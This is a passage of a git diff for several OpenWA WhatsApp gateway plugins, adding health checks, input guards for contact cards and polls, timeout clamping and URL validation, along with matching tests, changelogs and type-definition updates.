plugin.healthCheck()).healthy, true, 'a delivered OTP keeps it healthy'); + + sendFails = true; + await assert.rejects(Promise.resolve(handler!(req)), /WhatsApp send failed/); + const bad = await plugin.healthCheck(); + assert.equal(bad.healthy, false, 'a failed send is surfaced'); + assert.match(bad.message ?? '', /no active engine/); + + // A later success clears it, so the tile does not stay red forever after one transient failure. + sendFails = false; + await handler!(req); + assert.equal((await plugin.healthCheck()).healthy, true, 'a later success clears the last error'); +}); diff --git a/supabase-otp-hook/index.ts b/supabase-otp-hook/index.ts index 37a213e..8e2c51d 100644 --- a/supabase-otp-hook/index.ts +++ b/supabase-otp-hook/index.ts @@ -7,12 +7,25 @@ import { handleSendSms, readConfig } from './handler.ts'; * Receives Supabase Auth's Send SMS hook on the ingress route "send-sms". The host verifies the * Standard Webhooks signature (manifest signature.scheme: 'standard-webhooks', secret = instance.secret) * and runs the `session-alive` preflight before dispatching this handler, so Supabase gets synchronous - * feedback: 401 on a bad signature, 503 on a dead session, and 200 application/json on accept. This - * handler runs async from the ingress worker (retry + DLQ) and only parses the payload + fires the - * WhatsApp send. The send is fire-and-forget to stay within the worker's 5 s dispatch budget (an - * awaited slow send would time out and retry into a duplicate OTP). + * feedback: 401 on a bad signature, 503 on a dead session, and 200 on accept. The ack BODY is the JSON + * literal {"ok":true}; its CONTENT TYPE depends on the host. The manifest declares application/json, + * which hosts below 0.20.0 return, but 0.20.0 and later force text/plain on every ingress response + * (`res.type('text/plain')` after `res.set`, ingress.controller.ts) so a reflected body cannot be parsed + * as HTML. The declaration is kept because it is still honored on the older hosts this plugin supports, + * but nothing may depend on the ack's content type. + * + * This handler runs async from the ingress worker (retry + DLQ) and only parses the payload + fires the + * WhatsApp send. It waits just long enough to catch a send that fails immediately, so the host retries + * and dead-letters those, and leaves a slow one running in the background: an awaited slow send would + * burn the worker's 5 s dispatch budget and retry into a duplicate OTP. */ export default class SupabaseSmsHook implements IPlugin { + // Outcome of the most recent send, cleared by the next one that succeeds. A send that fails AFTER the + // handler's fail-fast window has closed reaches nobody else: Supabase was acked 200 and the ingress + // job already completed, so there is no retry and no dead-letter row. healthCheck is the only surface + // the dashboard renders, so this is where such an OTP surfaces as lost. + private lastSendError: string | null = null; + async onEnable(ctx: PluginContext): Promise { // Fail fast at enable time on the base config so a missing secret surfaces in the dashboard // instead of failing per-delivery. Per-instance config is re-read in the handler via ctx.config. @@ -26,6 +39,9 @@ export default class SupabaseSmsHook implements IPlugin { config, messages: ctx.messages, log: (m, meta) => ctx.logger.warn(m, meta), + onSendResult: error => { + this.lastSendError = error; + }, }, req, ); @@ -33,4 +49,12 @@ export default class SupabaseSmsHook implements IPlugin { ctx.logger.log('supabase-otp-hook enabled'); } + + async healthCheck(): Promise<{ healthy: boolean; message?: string }> { + if (!this.lastSendError) return { healthy: true }; + // Unhealthy while the last OTP is on record as undelivered. The plugin is up, but the one thing it + // exists to do did not happen, and the host reporting a plugin without a health check as healthy is + // what kept that invisible. + return { healthy: false, message: `last OTP send failed: ${this.lastSendError.slice(0, 200)}` }; + } } diff --git a/supabase-otp-hook/manifest.json b/supabase-otp-hook/manifest.json index 1303e9e..fe91add 100644 --- a/supabase-otp-hook/manifest.json +++ b/supabase-otp-hook/manifest.json @@ -1,7 +1,7 @@ { "id": "supabase-otp-hook", "name": "Supabase Auth OTP", - "version": "0.3.4", + "version": "0.3.5", "type": "extension", "main": "dist/index.js", "description": "Deliver Supabase Auth phone OTPs over WhatsApp.", @@ -12,7 +12,7 @@ "keywords": ["supabase", "auth", "otp", "sms", "whatsapp", "verification", "standard-webhooks", "openwa"], "status": "beta", "minOpenWAVersion": "0.8.16", - "testedOpenWAVersion": "0.23.0", + "testedOpenWAVersion": "0.23.3", "sdkVersion": "1", "permissions": ["webhook:ingress", "messages:send"], "sessionScoped": true, diff --git a/typebot-connector/CHANGELOG.md b/typebot-connector/CHANGELOG.md index ae3cd83..cbf6e5e 100644 --- a/typebot-connector/CHANGELOG.md +++ b/typebot-connector/CHANGELOG.md @@ -6,6 +6,24 @@ All notable changes to the Typebot Connector plugin are documented here. The for ## [Unreleased] +## [0.2.7] - 2026-08-25 + +### Fixed + +- A rejected session-state write no longer costs the contact the whole turn. The Typebot server has + already advanced by that point, so the bubbles are the only thing left to deliver; the write failure + is now logged and the turn is sent. Losing the row costs one restart on the next message, where + throwing cost that restart and the turn. + +- A shared contact card or a poll no longer answers the current step. OpenWA 0.23.2 fills the message + body for both, so a vCard holding a bare in-range digit (a street number, an extension) could silently + select a numbered choice. The contact is asked to type instead and the flow stays where it is; sharing + a card at a file-upload step still gets that step's own wording. + +### Changed + +- **Verified against OpenWA v0.23.3** (testedOpenWAVersion 0.23.0 → 0.23.3). + ## [0.2.6] - 2026-08-20 ### Changed diff --git a/typebot-connector/README.md b/typebot-connector/README.md index dc7d560..eb0594f 100644 --- a/typebot-connector/README.md +++ b/typebot-connector/README.md @@ -14,13 +14,13 @@ | Field | Value | | ----- | ----- | | **Identifier** | `typebot-connector` | -| **Version** | 0.2.6 | -| **Released** | 2026-08-20 | +| **Version** | 0.2.7 | +| **Released** | 2026-08-25 | | **Status** | stable | | **Author** | Yudhi Armyndharis | | **License** | MIT | | **Type** | `extension` | -| **Requires OpenWA** | ≥ 0.8.2 (tested 0.23.0) | +| **Requires OpenWA** | ≥ 0.8.2 (tested 0.23.3) | | **Keywords** | typebot, chatbot, flow, bot, no-code, two-way, whatsapp, openwa | | **Repository** | [OpenWA-plugins/typebot-connector](https://github.com/rmyndharis/OpenWA-plugins/tree/main/typebot-connector) | @@ -106,6 +106,10 @@ and upload it in the dashboard **Plugins → Install** (or the **Catalog** tab). outbound media/voice. - **Auto-starts every chat in scope** (including groups by default). Don't run another auto-reply / menu / FAQ plugin on the same session — they will conflict. +- Shared contact cards and polls do not answer the current step. From OpenWA 0.23.2 both carry text in + the message body, so a vCard holding a bare in-range digit could otherwise select a numbered choice. + The contact is asked to type instead and the flow stays put; sharing a card at a file-upload step + still gets that step's own prompt. - **In a group, each participant gets their own flow**, keyed by the sender. A group message the engine delivers with no identifiable sender is skipped rather than answered: there is no way to tell whose flow it belongs to, and guessing would feed one contact's answer into another's session. diff --git a/typebot-connector/manifest.json b/typebot-connector/manifest.json index c3f9c67..2eb1ba1 100644 --- a/typebot-connector/manifest.json +++ b/typebot-connector/manifest.json @@ -1,7 +1,7 @@ { "id": "typebot-connector", "name": "Typebot Connector", - "version": "0.2.6", + "version": "0.2.7", "type": "extension", "main": "dist/index.js", "description": "Runs a Typebot flow as the brain of a WhatsApp bot: inbound messages drive a Typebot chat session via the live Chat API, and the bot's replies — text, media, and numbered-choice inputs — are sent back to WhatsApp. Auto-starts every chat, handles file-upload steps, and resets when the flow ends or after an idle timeout. Runs sandboxed in the plugin worker; no public URL or webhook required.", @@ -12,7 +12,7 @@ "keywords": ["typebot", "chatbot", "flow", "bot", "no-code", "two-way", "whatsapp", "openwa"], "status": "stable", "minOpenWAVersion": "0.8.2", - "testedOpenWAVersion": "0.23.0", + "testedOpenWAVersion": "0.23.3", "sdkVersion": "1", "permissions": ["net:fetch", "conversation:send", "storage:use"], diff --git a/typebot-connector/reply-map.test.ts b/typebot-connector/reply-map.test.ts index 6767e5f..d27bb3a 100644 --- a/typebot-connector/reply-map.test.ts +++ b/typebot-connector/reply-map.test.ts @@ -33,6 +33,28 @@ test('file input: media uploads; omitted media falls back; no media prompts', () assert.equal(mapReply(file, msg({ body: 'skip' })).kind, 'fallback'); }); +// From host 0.23.2 a shared contact card carries its vCard as the body and a poll its question, so +// `body` alone no longer means the contact typed an answer. A vCard holding a bare in-range digit (a +// street number, an extension) would silently select a numbered choice. +test('a contact card or a poll prompts instead of answering the step', () => { + const vcard = 'BEGIN:VCARD\nVERSION:3.0\nFN:Budi\nADR:;;2;Jakarta\nEND:VCARD'; + assert.deepEqual( + mapReply(choice, msg({ body: '2', type: 'text' })), + { kind: 'text', message: 'Support' }, + 'guard rail: as text, a bare 2 does select the second option', + ); + const card = mapReply(choice, msg({ body: vcard, type: 'contact' })); + assert.equal(card.kind, 'fallback', 'a contact card must not advance the flow'); + const poll = mapReply(choice, msg({ body: 'Sales', type: 'poll' })); + assert.equal(poll.kind, 'fallback', 'a poll must not advance the flow'); +}); + +test('a contact card at a file step keeps that step\'s own wording', () => { + const file: Awaiting = { kind: 'file', blockId: 'b' }; + const r = mapReply(file, msg({ body: 'BEGIN:VCARD\nEND:VCARD', type: 'contact' })); + assert.deepEqual(r, { kind: 'fallback', text: 'Please send a file or photo to continue.' }); +}); + test('typed/free-text and rating pass the raw text through', () => { const text: Awaiting = { kind: 'text', blockId: 'b', attachmentsEnabled: false }; assert.deepEqual(mapReply(text, msg({ body: 'me@x.io' })), { kind: 'text', message: 'me@x.io' }); diff --git a/typebot-connector/reply-map.ts b/typebot-connector/reply-map.ts index 9bb3420..666be3b 100644 --- a/typebot-connector/reply-map.ts +++ b/typebot-connector/reply-map.ts @@ -17,6 +17,15 @@ export function mapReply(awaiting: Awaiting, msg: IncomingMessage): ReplyIntent return { kind: 'fallback', text: 'Please send a file or photo to continue.' }; } + // Since host 0.23.2 a shared contact card arrives with its full vCard as the body and a poll with its + // question, so `text` is no longer proof the contact typed an answer. Submitting either advances the + // flow with garbage, and a vCard holding a bare in-range digit (a street number, an extension) would + // silently select a numbered choice. Prompt instead and leave the step where it is. Deliberately after + // the file branch above, so sharing a card at a file step still gets that step's own wording. + if (msg.type === 'contact' || msg.type === 'poll') { + return { kind: 'fallback', text: 'Please type your answer to continue.' }; + } + if (awaiting.kind === 'choice') { if (awaiting.multiple) { const picks = text diff --git a/typebot-connector/turn.test.ts b/typebot-connector/turn.test.ts index 4ea4eb7..ecd4839 100644 --- a/typebot-connector/turn.test.ts +++ b/typebot-connector/turn.test.ts @@ -206,3 +206,27 @@ test('one failed part does not silence the rest of the turn', async () => { assert.equal(calls, 2, 'every part was attempted'); assert.deepEqual(sent.map(s => s.text), ['masih terkirim'], 'the part after the failure still went out'); }); + +test('a rejected state write still delivers the turn the server has already advanced past', async () => { + // startChat/continueChat advance the Typebot server irreversibly before this write. If the write + // throwing aborted the turn, the contact would receive none of the bubbles for a step the server has + // already taken, and their next message would silently restart the flow. Losing the row costs them one + // restart; losing the bubbles too costs them the restart AND this turn. + const storage = fakeStorage(); + storage.set = async () => { + throw new Error('storage quota exceeded'); + }; + const startChat: NormalizedResponse = { + sessionId: 'S1', + bubbles: [{ kind: 'text', markdown: 'Halo, ada yang bisa dibantu?' }], + input: { kind: 'text', blockId: 'b', attachmentsEnabled: false }, + }; + const logged: string[] = []; + const { d, sent } = deps({ startChat }, storage); + d.log = (m: string) => void logged.push(m); + + await handleTurn(d, 'sess', 'Engine', msg()); + + assert.deepEqual(sent.map(s => s.text), ['Halo, ada yang bisa dibantu?'], 'the turn is still delivered'); + assert.ok(logged.some(l => /state write failed/i.test(l)), 'and the lost row is recorded, not silent'); +}); diff --git a/typebot-connector/turn.ts b/typebot-connector/turn.ts index 715fd7c..b0794fa 100644 --- a/typebot-connector/turn.ts +++ b/typebot-connector/turn.ts @@ -80,10 +80,18 @@ export async function handleTurn(deps: TurnDeps, sessionId: string, source: stri // `awaiting` must track the server even if a WhatsApp send then fails — otherwise the next reply would be // mapped against a stale input. const sid = resp.sessionId ?? state?.sessionId; - if (resp.input && sid) { - await deps.store.set(key, { sessionId: sid, awaiting: resp.input, lastActivity: deps.now() }); - } else { - await deps.store.clear(key); // flow ended + try { + if (resp.input && sid) { + await deps.store.set(key, { sessionId: sid, awaiting: resp.input, lastActivity: deps.now() }); + } else { + await deps.store.clear(key); // flow ended + } + } catch (e) { + // A rejected write (the host rejects every `set` once the plugin is at its storage quota) must not + // swallow the bubbles below: the server has already advanced and they are the only thing the + // contact can still be given. Losing the row costs them a restart on their next message; throwing + // here costs them that restart AND this whole turn. + deps.log('typebot session state write failed; delivering this turn anyway', e); } // Per-part isolation. State above already recorded that the prompt was delivered, so letting one diff --git a/types/openwa.d.ts b/types/openwa.d.ts index f5fb1a1..7157af3 100644 --- a/types/openwa.d.ts +++ b/types/openwa.d.ts @@ -1,14 +1,27 @@ // Vendored OpenWA plugin contract. There is no published @openwa SDK package; keep this in sync // with the OpenWA version you target. All imports of this module must be `import type`. // -// Last aligned against OpenWA core v0.20.0 (tag), verified field-by-field against +// Last aligned against OpenWA core v0.23.3 (tag), verified field-by-field against // src/core/plugins/plugin.interfaces.ts, src/core/hooks/hook.interfaces.ts, plugin-net.ts, // sandbox/{worker-bootstrap,worker-capability,worker-hooks,worker-webhooks}.ts and // src/engine/interfaces/whatsapp-engine.interface.ts. Where this file narrows the host on purpose it // says so; where the host is stricter than this file, the comment names the runtime consequence. -// The 0.19.0 → 0.20.0 diff over those files is empty; 0.20.0's plugin-facing changes live elsewhere -// (the production #sha256 pin on URL installs in plugin-download.ts, ingress text/plain reflections, -// credential-dir modes) and none of them alter a member this file tracks. The 0.14.5 → 0.19.0 diff +// The 0.20.0 → 0.23.3 diff over the four plugin-runtime sources is EMPTY. The engine interface gained +// only optional trailing parameters (mentions on replyToMessage/editMessage, messageIds on sendSeen), +// none of them reachable from a plugin: the sandbox capability router is a 19-verb allowlist carrying +// neither verb. The one plugin-visible change in that range is BEHAVIORAL and lives in the engine +// adapter rather than the contract. 0.23.2 made the Baileys body extractor fill `body` for polls, +// shared events, business button replies and contact cards, matching what whatsapp-web.js has always +// returned. See the `IncomingMessage.body` note below: it invalidated the guard this file used to +// recommend, and five shipped plugins had followed that recommendation. +// The 0.23.3 alignment also closed nine SILENT OMISSIONS in PluginManifest, every one of them typed by +// the host and riding the index signature below as an unknown extra: description, author, homepage, +// repository, license, dependencies, peerDependencies, provides and requires. Most are set by every +// manifest in this repo, and the host returns description, author and provides on GET /plugins, so a +// typo in one of those blanks a dashboard card and nothing complains. +// The 0.19.0 → 0.20.0 diff over those files was empty too; 0.20.0's plugin-facing changes lived +// elsewhere (the production #sha256 pin on URL installs in plugin-download.ts, ingress text/plain +// reflections, credential-dir modes) and none of them altered a member this file tracks. The 0.14.5 → 0.19.0 diff // over those files changes no member this file tracks either: the one behavioral // addition in that range — the "storage:use" gate on ctx.storage — was already vendored above. That // alignment also fixed two SILENT OMISSIONS that had survived every earlier pass: `manifest.sdkVersion` @@ -30,13 +43,14 @@ // select, array/items, object/properties, min/max/pattern — see PluginConfigField) is plain manifest // JSON — the plugin still reads `ctx.config` as `Record` and validates defensively. // -// Host bounds a plugin cannot see from the types (v0.12.0 defaults, all host-side): +// Host bounds a plugin cannot see from the types (all host-side, re-checked at v0.23.3): // 30 s per lifecycle phase (onLoad/onEnable/onDisable/onUnload) and per capability call, except -// the send verbs (messages.sendText / messages.reply / conversations.send) which get 120 s; +// the send verbs (ctx.messages.sendText / ctx.messages.reply / ctx.conversations.send) at 120 s; // 5 s per hook dispatch (overrun → the host fails OPEN with {continue:true} and drops your result); +// 5 s per ingress webhook dispatch; 5 s for healthCheck (an overrun is reported unhealthy, not hung); // 32 concurrent capability calls per plugin (the 33rd throws); // 16 concurrent net.fetch calls GLOBALLY — shared across ALL plugins and workers, not per plugin; -// 50 MiB total ctx.storage per plugin; 10 MiB net.fetch response body; +// 50 MiB total ctx.storage per plugin; 10 MiB net.fetch response body; 256 MB worker heap; // 200 log lines / 10 s, 8 KiB per line. export type HookEvent = @@ -188,25 +202,49 @@ export interface PluginManifest { id: string; name: string; version: string; - type: string; + /** Deliberate narrowing of the host's PluginType enum: INSTALLABLE_TYPES is {'extension'}, so a + * manifest declaring engine/storage/queue/auth is rejected at load (install: HTTP 400; boot: the + * directory is skipped and the registry entry is forced to ERROR). The other tiers are built-ins. */ + type: 'extension'; main: string; + /** Dashboard-facing metadata, all typed by the host and all set by every manifest here. The host + * returns `description` and `author` on GET /plugins (with `provides` below), so a misspelled key + * blanks the dashboard card rather than failing anything: the index signature at the bottom of this + * interface accepts it as an unknown extra and nothing else checks the name. `homepage`, + * `repository` and `license` are typed by the host but read only by this repo's catalog. */ + description?: string; + author?: string; + homepage?: string; + repository?: string; + license?: string; permissions?: string[]; sessions?: string[]; hooks?: HookEvent[]; + /** Feature names this plugin advertises. Returned by the host on GET /plugins (absent reads as []). */ + provides?: string[]; + /** Feature names this plugin expects from other plugins. Typed by the host, read by nothing in it. */ + requires?: string[]; + /** npm-style dependency maps. Typed by the host, read by nothing in it: there is no install-time + * `npm install`, so a plugin bundles its dependencies into `main` and these stay documentation. */ + dependencies?: Record; + peerDependencies?: Record; /** Integration SDK major.minor the plugin was authored against (e.g. '1' or '1.2'). STRING — the * host's ingress validation calls sdkVersion.split('.'), so a JSON number (1, not "1") throws at * load and the whole plugin comes up ERROR. Only the major is enforced; absent = treated as '1'. */ sdkVersion?: string; /** Inbound webhook routes this plugin claims (needs the "webhook:ingress" permission). Validated by - * the host at load: SDK-major match, the permission, unique non-empty routes, toleranceSec > 0, and - * no scheme:'none' route unless the operator opted in (ALLOW_UNSIGNED_INGRESS). */ + * the host at load, and any failure takes the WHOLE plugin down, not just the route (install: HTTP + * 400; boot: the directory is skipped and the registry entry is forced to ERROR): SDK-major match, + * the permission, unique non-empty routes, toleranceSec > 0, no scheme:'none' route unless the + * operator opted in (ALLOW_UNSIGNED_INGRESS), response.ack.status an integer in 100..599, and every + * response.ack header name an RFC 7230 token whose value carries no CR/LF. */ ingress?: PluginIngressRoute[]; /** v0.7: per-session activation (default true). The platform owns which sessions a plugin runs for. */ sessionScoped?: boolean; /** v0.7: outbound HTTP host allowlist for ctx.net.fetch — "host" or "host:port"; deny by default. * The catalogue uses both forms: a bare host matches any port, which is what most entries rely on. * v1: `allowConfigHosts` additionally admits the host of each named config key (e.g. "baseUrl"). */ - net?: { allow: string[]; allowConfigHosts?: string[] }; + net?: { allow?: string[]; allowConfigHosts?: string[] }; /** v0.7: a sandboxed-iframe config editor served by the host. */ configUi?: { entry: string; height?: number }; /** Declarative config schema (rendered by the host into an authenticated form). */ @@ -433,8 +471,17 @@ export interface IncomingMessage { from: string; to: string; chatId: string; - /** Empty string for every non-text type (sticker, voice, image without caption, …) — guard on - * `!body.trim()`, not just on `typeof body`, before treating it as a command or menu key. */ + /** + * Empty for sticker, voice, image/video/document without a caption, call, revoked and masked. + * NOT empty for every other non-text type: a poll carries its question, a shared event its name, a + * tapped business button its label, and a shared contact card its vCard (several cards arrive + * newline-joined). whatsapp-web.js has always populated these; Baileys matched it in host 0.23.2. + * + * So `!body.trim()` is NOT a test for "a human typed this". A matcher that treats the body as a + * command, a menu key or prose to forward must gate on `type` too, denying 'contact' and 'poll'. + * Do NOT deny 'unknown': business button and list replies land there and are real user input. + * Do NOT allowlist 'text': media captions arrive in `body` under their own media type. + */ body: string; /** Host `MessageType`: text|image|video|audio|voice|document|sticker|location|contact|poll|call| * revoked|masked|unknown. Kept as `string` here so a new host type never breaks a typecheck. */ @@ -485,6 +532,8 @@ export interface IncomingMessage { }; // The message this one replies to (swipe-to-reply / quote), when present. `id` is the quoted WhatsApp // message id; `body` is its text. Carried on the inbound hook payload for reply-threading relays. + // Since host 0.23.2 the quote runs through the SAME extractor as the live message, so a quoted poll + // or contact card carries its text here rather than an empty string. Same caveat as `body` above. quotedMessage?: { id: string; body: string }; // Shared location (`type: 'location'`), when present. location?: { latitude: number; longitude: number; description?: string; address?: string; url?: string }; diff --git a/voice-transcription/CHANGELOG.md b/voice-transcription/CHANGELOG.md index 49db906..7fb753f 100644 --- a/voice-transcription/CHANGELOG.md +++ b/voice-transcription/CHANGELOG.md @@ -6,6 +6,35 @@ All notable changes to the Voice Note Transcription plugin are documented here. ## [Unreleased] +## [1.2.8] - 2026-08-25 + +### Fixed + +- **Host backpressure no longer opens the circuit breaker.** The host's global 16-slot `net.fetch` limit + and its per-plugin in-flight capability limit are shared with every other plugin on the gateway and + reject instantly. Counting them as backend failures meant a busy line saturated the pool, five + immediate rejections landed in a row, and transcription stopped for the full cooldown even though the + speech-to-text backend was perfectly healthy. +- `deliveryTimeoutMs` is clamped to the range the manifest advertises. At the old advertised maximum the + fetch abort and the host's 30s capability budget expired together, so a slow receiver was reported as + a capability timeout, and a value of 0 or below made every delivery abort after 1ms. +- An `sttBaseUrl` or `deliveryWebhookUrl` the host cannot use is named at enable time instead of failing + as silence. Neither URL is ever logged. + +### Added + +- A `healthCheck` covering the states that were previously fail-open warn lines: an open circuit + breaker, a missing or unusable backend URL, an unusable delivery webhook, and no delivery configured + at all. The host reports a plugin without one as healthy, so none of these were visible. + +### Changed + +- **`minOpenWAVersion` raised to 0.8.0.** Both `sttBaseUrl` and `deliveryWebhookUrl` are resolved + through `net.allowConfigHosts`, which first shipped in OpenWA 0.8.0. On a 0.7.x host the plugin + installed and enabled cleanly and then neither transcribed nor delivered anything. + +- **Verified against OpenWA v0.23.3** (testedOpenWAVersion 0.23.0 → 0.23.3). + ## [1.2.7] - 2026-08-20 ### Changed diff --git a/voice-transcription/README.md b/voice-transcription/README.md index fe524b3..b6c10e3 100644 --- a/voice-transcription/README.md +++ b/voice-transcription/README.md @@ -5,7 +5,7 @@ ![type: extension](https://img.shields.io/badge/type-extension-blue.svg) ![license: MIT](https://img.shields.io/badge/license-MIT-green.svg) -![built for OpenWA](https://img.shields.io/badge/OpenWA-%E2%89%A5%200.7.0-25D366.svg) +![built for OpenWA](https://img.shields.io/badge/OpenWA-%E2%89%A5%200.8.0-25D366.svg) [![downloads](https://img.shields.io/endpoint?url=https%3A%2F%2Fraw.githubusercontent.com%2Frmyndharis%2FOpenWA-plugins%2Fbadges%2Fdownloads%2Fvoice-transcription.json)](https://github.com/rmyndharis/OpenWA-plugins/releases?q=voice-transcription) ## Details @@ -14,13 +14,13 @@ | Field | Value | | ----- | ----- | | **Identifier** | `voice-transcription` | -| **Version** | 1.2.7 | -| **Released** | 2026-08-20 | +| **Version** | 1.2.8 | +| **Released** | 2026-08-25 | | **Status** | beta | | **Author** | Yudhi Armyndharis | | **License** | MIT | | **Type** | `extension` | -| **Requires OpenWA** | ≥ 0.7.0 (tested 0.23.0) | +| **Requires OpenWA** | ≥ 0.8.0 (tested 0.23.3) | | **Keywords** | transcription, speech-to-text, stt, whisper, voice, audio, whatsapp, openwa | | **Repository** | [OpenWA-plugins/voice-transcription](https://github.com/rmyndharis/OpenWA-plugins/tree/main/voice-transcription) | @@ -133,6 +133,9 @@ curl -X POST http://localhost:2785/api/plugins/voice-transcription/enable \ ## Compatibility +- Requires OpenWA **≥ 0.8.0**, the release that introduced `net.allowConfigHosts`. Both `sttBaseUrl` and + `deliveryWebhookUrl` are resolved through it, so on a 0.7.x host every call to a configured host is + refused and neither transcription nor delivery works at all. - Engine-neutral: both Baileys and whatsapp-web.js materialize the audio before the hook fires, so the plugin works on either. - **Best-effort by design (no core changes).** Because a sandboxed plugin has no host-managed background diff --git a/voice-transcription/index.test.ts b/voice-transcription/index.test.ts index 0a56168..10762bd 100644 --- a/voice-transcription/index.test.ts +++ b/voice-transcription/index.test.ts @@ -217,3 +217,60 @@ test("coordinator rebuilds when coordinator-affecting config changes, is reused "coordinator rebuilt for changed config", ); }); + +// The host reports a plugin that implements no health check as HEALTHY, so every fail-open condition +// this plugin has (an open circuit breaker, a backend URL the host will refuse, no delivery configured +// at all) showed a green tile while nothing was being transcribed. +function healthCtx(config: Record): PluginContext { + return { + config, + logger: { log() {}, debug() {}, warn() {}, error() {} }, + registerHook() {}, + net: { fetch: async () => ({ ok: true, status: 200, headers: {}, body: "{}" }) }, + storage: { get: async () => null, set: async () => {}, delete: async () => {}, list: async () => [] }, + messages: { sendText: async () => ({ messageId: "x", timestamp: 0 }), reply: async () => ({ messageId: "x", timestamp: 0 }) }, + conversations: { send: async () => ({}) }, + } as unknown as PluginContext; +} + +test("healthCheck reports the states that were previously fail-open warn lines", async () => { + const fresh = new VoiceTranscriptionPlugin(); + assert.equal((await fresh.healthCheck()).healthy, false, "not enabled is not healthy"); + + const ok = new VoiceTranscriptionPlugin(); + await ok.onEnable(healthCtx({ sttBaseUrl: "https://stt.example.com", deliveryWebhookUrl: "https://hook.example.com" })); + assert.equal((await ok.healthCheck()).healthy, true); + + for (const [label, config] of [ + ["sttBaseUrl is not a URL", { sttBaseUrl: "stt.example.com", deliveryWebhookUrl: "https://h.example.com" }], + ["sttBaseUrl carries credentials", { sttBaseUrl: "https://u:p@stt.example.com", deliveryWebhookUrl: "https://h.example.com" }], + ["delivery webhook unusable", { sttBaseUrl: "https://stt.example.com", deliveryWebhookUrl: "ftp://h.example.com" }], + ["no delivery configured", { sttBaseUrl: "https://stt.example.com" }], + ] as [string, Record][]) { + const p = new VoiceTranscriptionPlugin(); + await p.onEnable(healthCtx(config)); + const h = await p.healthCheck(); + assert.equal(h.healthy, false, `${label}: must be reported unhealthy`); + assert.ok(h.message, `${label}: must say why`); + // A credential in the URL must never be echoed into the health message, which the dashboard renders. + assert.ok(!/u:p@/.test(h.message ?? ""), `${label}: must not echo the URL`); + } +}); + +test("deliveryTimeoutMs is clamped to the range the manifest advertises", async () => { + // The host never validates configSchema bounds. Unclamped, the advertised maximum expired together + // with the host's 30s capability budget so a slow receiver surfaced as a capability timeout, and 0 or + // below made plugin-net abort every delivery after 1ms. + const read = async (deliveryTimeoutMs: unknown) => { + const p = new VoiceTranscriptionPlugin(); + const cfg: Record = { sttBaseUrl: "https://stt.example.com", deliveryWebhookUrl: "https://h.example.com" }; + if (deliveryTimeoutMs !== undefined) cfg.deliveryTimeoutMs = deliveryTimeoutMs; + await p.onEnable(healthCtx(cfg)); + return JSON.parse((p as unknown as { configSignature(c: Record): string }).configSignature(cfg))[7] as number; + }; + assert.equal(await read(undefined), 5000, "default"); + assert.equal(await read(0), 1000, "zero would abort every delivery after 1ms"); + assert.equal(await read(-1), 1000, "negative likewise"); + assert.equal(await read(30000), 25000, "the advertised maximum is clamped below the host budget"); + assert.equal(await read(5000), 5000, "a sane value is untouched"); +}); diff --git a/voice-transcription/index.ts b/voice-transcription/index.ts index 2c8eeb9..8220991 100644 --- a/voice-transcription/index.ts +++ b/voice-transcription/index.ts @@ -49,6 +49,15 @@ function readTimeoutMs(cfg: Record): number { return Math.min(25000, Math.max(1000, readNumber(cfg, "timeoutMs", 20000))); } +// Same reasoning, same ceiling, for the delivery webhook. Unclamped, the manifest's advertised 30000 +// maximum expired together with the host's 30s per-capability budget, so a slow receiver surfaced as a +// capability timeout rather than a delivery timeout: the exact misdiagnosis 1.1.0 fixed for timeoutMs. +// A 0 or negative value was worse: plugin-net clamps it to 1ms, so every delivery aborted instantly, +// swallowed into a warn line. +function readDeliveryTimeoutMs(cfg: Record): number { + return Math.min(25000, Math.max(1000, readNumber(cfg, "deliveryTimeoutMs", 5000))); +} + function readNumber( cfg: Record, key: string, @@ -69,6 +78,31 @@ function readStringArray( ? (v as string[]) : fallback; } +// The host resolves this plugin's outbound allowlist from the RAW config value and refuses the fetch at +// the capability boundary when it cannot use that value, saying nothing on this side. Both failures then +// look like silence: a transcription that never happens, or a transcript that never arrives. Name the +// problem where the value is read. +// +// Deliberately NOT an https-only rule. The shipped default STT backend is a self-hosted Speaches on +// loopback over http, which is a first-class supported install, and a plugin cannot see its own +// effective allowlist. The value itself is never rewritten and never logged: `deliveryWebhookUrl` is one +// an operator may have put a token in. +function backendUrlProblem(url: string): string | null { + let parsed: URL; + try { + parsed = new URL(url); + } catch { + return "is not a URL"; + } + if (parsed.protocol !== "http:" && parsed.protocol !== "https:") { + return "is not an http(s) URL"; + } + // A credentialed value is dropped from the config-derived allowlist outright, so a non-loopback host + // named this way is refused on every call. + if (parsed.username || parsed.password) return "carries embedded credentials"; + return null; +} + function readChatDelivery(cfg: Record): ChatDeliveryMode { const v = cfg["chatDelivery"]; return v === "self" || v === "reply" ? v : "off"; @@ -77,6 +111,10 @@ function readChatDelivery(cfg: Record): ChatDeliveryMode { export class VoiceTranscriptionPlugin implements IPlugin { private coordinator: TranscriptionCoordinator | null = null; private ctxRef: PluginContext | null = null; + // Held for healthCheck. The client already tracks whether its circuit breaker is open; nothing was + // asking it outside a test, so an open breaker, a missing backend and an unusable URL were all a + // single warn line while the dashboard reported the plugin healthy. + private provider: OpenAiSttClient | null = null; // Signature of the coordinator-affecting config last used to build `this.coordinator`. The hook // recomputes this per event and rebuilds the coordinator only when it changes — so a per-session // override (resolved by the host for the firing session) takes effect, WITHOUT resetting the STT @@ -111,6 +149,24 @@ export class VoiceTranscriptionPlugin implements IPlugin { "voice-transcription: sttBaseUrl is not set — every transcription will fail until it is configured", { action: "transcription_no_backend" }, ); + } else { + const problem = backendUrlProblem(readString(context.config, "sttBaseUrl", "")); + if (problem) { + context.logger.warn( + `voice-transcription: sttBaseUrl ${problem}; every transcription will be refused`, + { action: "transcription_backend_url_invalid" }, + ); + } + } + const deliveryUrl = readOptionalString(context.config, "deliveryWebhookUrl"); + if (deliveryUrl) { + const problem = backendUrlProblem(deliveryUrl); + if (problem) { + context.logger.warn( + `voice-transcription: deliveryWebhookUrl ${problem}; every delivery will be refused`, + { action: "transcription_delivery_url_invalid" }, + ); + } } context.logger.log("Voice transcription plugin enabled", { action: "transcription_enabled", @@ -141,7 +197,7 @@ export class VoiceTranscriptionPlugin implements IPlugin { readTimeoutMs(cfg), readString(cfg, "deliveryWebhookUrl", ""), readOptionalString(cfg, "deliverySecret") ?? "", - readNumber(cfg, "deliveryTimeoutMs", 5000), + readDeliveryTimeoutMs(cfg), readChatDelivery(cfg), JSON.stringify(readStringArray(cfg, "enabledMessageTypes", ["voice"])), readNumber(cfg, "maxSizeBytes", 16 * 1024 * 1024), @@ -150,8 +206,51 @@ export class VoiceTranscriptionPlugin implements IPlugin { ]); } + /** + * The host answers `healthy: true` for a plugin that implements no health check, so every failure this + * plugin has is fail-open and logged: an 